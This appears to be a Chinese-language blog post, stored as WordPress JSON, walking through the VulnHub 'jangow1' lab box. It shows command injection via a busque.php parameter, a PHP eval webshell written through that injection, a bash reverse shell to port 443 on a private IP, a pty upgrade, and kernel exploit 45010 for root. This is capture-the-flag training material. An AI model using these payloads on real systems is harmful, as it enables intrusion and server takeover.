{"id":42,"date":"2025-04-11T10:12:38","date_gmt":"2025-04-11T02:12:38","guid":{"rendered":"http:\/\/blog.which778.cn\/?p=42"},"modified":"2025-08-11T17:15:23","modified_gmt":"2025-08-11T09:15:23","slug":"vulnhub-jangow1","status":"publish","type":"post","link":"http:\/\/blog.which778.cn\/?p=42","title":{"rendered":"vulnhub jangow1"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">arp-scan<\/h3>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212114399.png\" alt=\"img\"\/><\/figure>\n\n\n<h3 class=\"wp-block-heading\">nmap<\/h3>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212116480.png\" alt=\"img\"\/><\/figure>\n\n\n<p class=\"wp-block-paragraph\">\u8bbf\u95ee80\u9875\u9762,\u6d4b\u8bd5\u4e00\u4e0b\u57fa\u672c\u529f\u80fd\u70b9,\u53d1\u73b0\u8fd9\u4e2a\u5730\u65b9\u6709rce<\/p>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212125558.png\" alt=\"img\"\/><\/figure>\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;192.168.164.133\/site\/busque.php?buscar=ls<\/code><\/pre>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212126482.png\" alt=\"img\"\/><\/figure>\n\n\n<h3 class=\"wp-block-heading\">\u5199\u9a6c<\/h3>\n\n\n<pre class=\"wp-block-code\"><code>http:&#47;&#47;192.168.164.133\/site\/busque.php?buscar=echo%20%27%3C?php%20eval($_POST&#91;%27a%27]);%27%20%3E%203.php<\/code><\/pre>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212129735.png\" alt=\"img\"\/><\/figure>\n\n\n<p class=\"wp-block-paragraph\">\u8fdb\u53bb\u4e4b\u540e,\u53cd\u5f39shell<code>bash -c 'bash -i &gt; \/dev\/tcp\/192.168.164.129\/443 0&gt;&amp;1'<\/code><\/p>\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6b64\u9776\u573a\u53ea\u80fd\u7528443\u53cd\u5f39shell\u8bf7\u6ce8\u610f<\/strong><\/p>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212133662.png\" alt=\"img\"\/><\/figure>\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528python3.7\u5c06\u5f53\u524d\u534a\u4ea4\u4e92Shell\u53d8\u4e3a\u5168\u4ea4\u4e92<\/p>\n\n\n<pre class=\"wp-block-code\"><code>python3 -c 'import pty;pty.spawn(\"\/bin\/bash\")'<\/code><\/pre>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212134614.png\" alt=\"img\"\/><\/figure>\n\n\n<h3 class=\"wp-block-heading\">\u63d0\u6743<\/h3>\n\n\n<p class=\"wp-block-paragraph\">Find\u67e5\u627e\u6709\u7279\u6b8a\u4f4d\u6743\u9650\u6587\u4ef6<code>find \/ -perm -u=s -type f 2&gt;\/dev\/null<\/code><\/p>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212136080.png\" alt=\"img\"\/><\/figure>\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u770b\u7cfb\u7edf\u5185\u6838\u4ee5\u53ca\u7cfb\u7edf\u7248\u672c<\/p>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212137149.png\" alt=\"img\"\/><\/figure>\n\n\n<p class=\"wp-block-paragraph\">\u6839\u636e\u524d\u9762\u7684\u7cfb\u7edf\u7248\u672c\u548c\u5185\u6838\u67e5\u627e\u5386\u53f2\u6f0f\u6d1e<\/p>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212139863.png\" alt=\"img\"\/><\/figure>\n\n\n<p class=\"wp-block-paragraph\">\u53ef\u4ee5\u4e00\u4e2a\u4e2a\u6d4b\u8bd5,\u8fd9\u91cc\u6d4b\u8bd5\u4e8645010\u53ef\u4ee5<\/p>\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u8f7d45010<\/p>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212140133.png\" alt=\"img\"\/><\/figure>\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528\u8681\u5251,\u5c06\u8fd9\u4e2a.c\u6587\u4ef6\u4e0a\u4f20\u5230\u9776\u673a\u7684tmp\u76ee\u5f55\u4e0b<\/p>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212145553.png\" alt=\"img\"\/><\/figure>\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528\u9776\u673a\u7f16\u8bd1<\/p>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212147900.png\" alt=\"img\"\/><\/figure>\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528chmod \u8d4b\u4e88a.out\u6743\u9650<\/p>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212147528.png\" alt=\"img\"\/><\/figure>\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u4e86flag<\/p>\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/wordpress-1258894728.cos.ap-beijing.myqcloud.com\/202210212149585.png\" alt=\"img\"\/><\/figure>\n<button class=\"simplefavorite-button\" data-postid=\"42\" data-siteid=\"1\" data-groupid=\"1\" data-favoritecount=\"1\" style=\"\">\u6536\u85cf <i class=\"sf-icon-star-empty\"><\/i><\/button>","protected":false},"excerpt":{"rendered":"<p>arp-scan nmap \u8bbf\u95ee80\u9875\u9762,\u6d4b\u8bd5\u4e00\u4e0b\u57fa\u672c\u529f\u80fd\u70b9,\u53d1\u73b0\u8fd9\u4e2a\u5730\u65b9\u6709rce \u5199\u9a6c \u8fdb\u53bb\u4e4b\u540e,\u53cd\u5f39shellbash -c  &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3],"tags":[6,7],"class_list":["post-42","post","type-post","status-publish","format-standard","hentry","category-vulnhub","tag-web","tag-7"],"_links":{"self":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/42","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=42"}],"version-history":[{"count":2,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/42\/revisions"}],"predecessor-version":[{"id":150,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=\/wp\/v2\/posts\/42\/revisions\/150"}],"wp:attachment":[{"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=42"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=42"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/blog.which778.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=42"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}